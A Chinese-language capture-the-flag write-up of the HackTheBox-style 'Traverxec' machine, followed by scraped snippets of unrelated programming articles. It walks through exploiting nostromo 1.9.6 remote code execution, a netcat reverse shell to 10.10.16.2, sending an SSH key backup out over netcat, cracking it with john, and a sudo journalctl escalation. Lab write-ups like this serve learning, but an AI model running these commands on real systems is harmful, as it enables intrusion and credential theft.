Linux/Traverxec

Enumeration

nmap

使用nmap快速扫描目标,发现对外开放了22和80,第一个问题就是问80端口运行的是什么服务,针对这两个端口扫描对应的详细信息后就能得到答案

Nostromo

从nmap的扫描结果可以看到,目标开启了80端口,且运行着nostromo服务,看了一圈不知道从哪里下手

Exploitation

nostromo 1.9.6 - Remote Code Execution

通过搜索nostromo 1.9.6可以发现,该版本的服务存在rce漏洞

尝试利用该漏洞,首先使用searchsploit -m 47837.py将脚本镜像到工作目录中,然后按照usage去使用

先在kali端监听,然后执行命令nc -e /bin/bash 10.10.16.2 1234,即可得到shell

Lateral Movement

进去后随便看了看,按照题目提示的话应该找到david的ssh秘钥备份,打算上传LinEnum.sh

在浏览时,很快就发现了这个,但是提交这个路径时显示回答错误,先放着再看看别的吧

看看/var/nostromo/conf目录下还有什么文件,发现了一个nhttp.conf

发现home下还有public_www目录

试了很多次后,发现在下面的目录下有题目提示的ssh秘钥

使用nc来传输该文件到kali中,先在kaili中开启监听nc -nvlp 2222 > back.tgz,然后在www-data的shell中nc 10.10.16.2 2222 < /home/david/public_www/protected-file-area/backup-sshidentity-files.tgz

已经把该文件传输至kali,解压后查看,拥有以下几个文件,现在尝试破解秘钥密码

先使用ssh2john提取hash值,然后使用john来破解它,字典使用rockyou,最终得到密码为hunter

现在可以使用ssh登录david了,并且能拿到flag

Privilege Escalation

可以看到david的目录下有一个bin文件夹

里面有一个server-stats.sh,打开查看该脚本

可以看到最后一行,脚本echo一堆东西后,在最后使用sudo执行了journalctl,尝试执行该脚本

可以看到打印出了一堆东西,在gtfobins中看到可以利用这个journalctl

Journalctl调用默认分页器,就会使用less,在屏幕输出后会等待输入,这时可以按照上图的办法拿到shell

执行以下命令,然后就没有然后了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/623317.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c++关键字const

C中的const是一种常量修饰符。在变量、函数参数和成员函数中使用const可以限制其对数据的修改。 const修饰的数据在定义时必须进行初始化&#xff0c;且不能被修改&#xff0c;因此使用const可以提高代码的安全性和可读性。在C中&#xff0c;const修饰的成员函数表示该函数保证…

《计算思维导论》笔记:10.2 什么是数据库与数据库系统?

《大学计算机—计算思维导论》&#xff08;战德臣 哈尔滨工业大学&#xff09; 《10.2 什么是数据库与数据库系统&#xff1f;》 数据库 简单来讲&#xff0c;数据库就是相互有关联关系的数据的集合。 一个表聚集了具有相同结构类型的若干个对象一行数据反映了某一对象的相关…

Leetcode3002. 移除后集合的最多元素数

Every day a Leetcode 题目来源&#xff1a;3002. 移除后集合的最多元素数 解法1&#xff1a;贪心 可以将数组去重后分为三个部分&#xff1a;nums1 独有的&#xff0c;nums2 独有的&#xff0c;nums1 与 nums2 共有的。 求集合 S 时&#xff1a; 先选择两个数组独有的。…

(七)Java 分支结构 —— if...else、switch

目录 一. 前言 二. if 分支 2.1. if 语句 2.2. if...else 语句 2.3. if...else if...else 语句 2.4. 嵌套的 if…else 语句 三. switch 分支 四. 课后习题 一. 前言 Java 中的分支结构是程序控制流的重要组成部分&#xff0c;它们允许程序根据特定条件执行不同的代码块…

JVM:双亲委派机制类加载器

JVM&#xff1a;双亲委派机制 1. 例子2. 类加载器总结3. 类加载过程4. 双亲委派模型的执行流程&#xff1a;5. 双亲委派模型的好处 1. 例子 Java运行时环境有一个java.lang包&#xff0c;里面有一个ClassLoader类 我们自定义一个String类在java.lang包下&#xff0c;下面的…

C#编程-使用事件

使用事件 事件是一个动作或发生的事情,例如:鼠标点击、按键、鼠标移动或系统产生的通知。应用程序可以在事件发生的时候做出响应。通知的一个示例是中断。事件是对象发生的消息以表示事件的发生。事件是进程内通信的有效方法。它们对对象时有用的,因为它们标识了单个状态改…

YOLOv8改进 | Conv篇 | 利用YOLO-MS的MSBlock轻量化网络结构(既轻量又长点)

一、本文介绍 本文给大家带来的改进机制是利用YOLO-MS提出的一种针对于实时目标检测的MSBlock模块(其其实不能算是Conv但是其应该是一整个模块),我们将其用于C2f中组合出一种新的结构,来替换我们网络中的模块可以达到一种轻量化的作用,我将其用于我的数据集上实验,包括多个…

Leetcode 第 379 场周赛题解

Leetcode 第 379 场周赛题解 Leetcode 第 379 场周赛题解题目1&#xff1a;10035. 对角线最长的矩形的面积思路代码复杂度分析 题目2&#xff1a;10036. 捕获黑皇后需要的最少移动次数思路代码复杂度分析 题目3&#xff1a;10037. 移除后集合的最多元素数思路代码复杂度分析 题…

SpringBoot+SSM项目实战 苍穹外卖(11) Apache ECharts

继续上一节的内容&#xff0c;本节学习Apache ECharts&#xff0c;实现营业额统计、用户统计、订单统计和销量排名Top10功能。 数据统计效果图&#xff1a; 目录 Apache ECharts入门案例 营业额统计用户统计订单统计销量排名Top10 Apache ECharts Apache ECharts 是一款基于 …

Debezium发布历史67

原文地址&#xff1a; https://debezium.io/blog/2019/08/20/debezium-0-10-0-beta4-released/ 欢迎关注留言&#xff0c;我是收集整理小能手&#xff0c;工具翻译&#xff0c;仅供参考&#xff0c;笔芯笔芯. Debezium 0.10.0.Beta4 发布 八月 20, 2019 作者&#xff1a; Gun…

解锁 JavaScript 数组的强大功能:常用方法和属性详解(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

20240114总结:无聊周末or有聊周末

有时候&#xff0c;连着几个周末感觉好忙&#xff0c;比如要去体检、验光、复光、爬山、打球、参加婚礼、跨年、年终总结、、练习讲话、乙肝疫苗、正骨、按摩、西丽湖吃饭、每天三国一两个钟、看下电影啥的&#xff0c;很快&#xff0c;很碎片。 但是这个周末完全没任务&#…

Java中HashSet如何检查重复

HashSet是基于哈希表实现的无序的、不重复的集合类。它在添加元素时会自动检查是否存在重复元素&#xff0c;通过hashCode()和equals()方法来确定元素的相等性。 HashSet添加元素步骤&#xff0c;先通过hashCode找出位置&#xff0c;再通过equals()比较是否相等&#xff1a; …

毕业设计:基于python微博舆情分析系统+可视化+Django框架 K-means聚类算法(源码)✅

毕业设计&#xff1a;2023-2024年计算机专业毕业设计选题汇总&#xff08;建议收藏&#xff09; 毕业设计&#xff1a;2023-2024年最新最全计算机专业毕设选题推荐汇总 &#x1f345;感兴趣的可以先收藏起来&#xff0c;点赞、关注不迷路&#xff0c;大家在毕设选题&#xff…

C++ 完成Client分页显示log

分页显示t_log 1、获取用户的输入 1.1、写一个Input成员函数&#xff0c;处理输入进来的语句 std::string XClient::Input() {//清空缓冲//cin.ignore(4096, \n);string input "";for (;;){char a getchar();if (a < 0 || a \n || a \r)break;cout <<…

数据化思维:数据聚集与管理,数据运用与分析

数据化思维 数据化思维&#xff0c;是指在面对复杂问题时&#xff0c;通过收集、处理和分析数据&#xff0c;以数据为依据进行决策和解决问题的思维方式。它强调用事实说话&#xff0c;注重量化指标&#xff0c;能够帮助我们在海量信息中抽丝剥茧&#xff0c;发现深层次规律和…

LlamaIndex中的CustomLLM(在线加载模型)

一.使用 Flask 将模型封装为 REST 接口 主要是将 complete()和 stream_complete()方法封装为 REST 接口&#xff0c;如下所示&#xff1a; from flask import Flask, request, jsonify from transformers import AutoTokenizer, AutoModelForCausalLM app Flask(__name__)cla…

Linux comm命令教程:对比和分析文件内容(附案例详解和注意事项)

Linux comm命令介绍 comm&#xff0c;又称为_compare common lines_命令&#xff0c;是一个简易的Linux文件比较工具&#xff0c;主要用于标识出两个已排序文件中的共同部分。该命令逐行比较两个文件&#xff0c;并以三列形式显示结果。 Linux comm命令适用的Linux版本 通常…

Kubernetes 面试宝典

创建 Pod的主要流程? 客户端提交 Pod 的配置信息(可以是 yaml 文件定义的信息)到 kube-apiserver. Apiserver 收到指令后,通知 controllr-manager 创建一个资源对象 controller-manager 通过 apiserver 将 pod 的配置信息存储到 ETCD 数据中薪心中 kube-scheduler 检查到 p…

GPT编程:运行你的第一个聊天程序

环境搭建 很多机器学习框架和类库都是使用Python编写的&#xff0c;OpenAI提供的很多例子也是Python编写的&#xff0c;所以为了方便学习&#xff0c;我们这个教程也使用Python。 Python环境搭建 Python环境搭建有很多种方法&#xff0c;我们这里需要使用 Python 3.10 的环境…